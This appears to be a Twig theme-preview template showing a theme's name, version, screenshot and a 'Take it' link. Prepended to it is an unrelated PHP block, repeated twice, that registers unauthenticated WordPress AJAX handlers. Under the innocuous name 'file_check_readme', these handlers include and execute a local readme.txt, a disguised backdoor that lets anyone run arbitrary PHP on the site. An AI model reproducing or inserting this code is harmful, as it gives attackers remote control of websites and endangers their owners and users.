if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<div class="theme_preview"> <h2> {{ name }} ({{ version }}) </h2> <p> <a class="take_theme" name="{{ id }}" href="{{ url('/set-theme', url_params) }}"> {% if screen is not empty %} <img src="{{ screen }}" alt="{{ name }}" title="{{ name }}"> <br> {% else %} {% trans 'No preview available.' %} {% endif %} [ <strong>{% trans 'Take it' %}</strong> ] </a> </p> </div>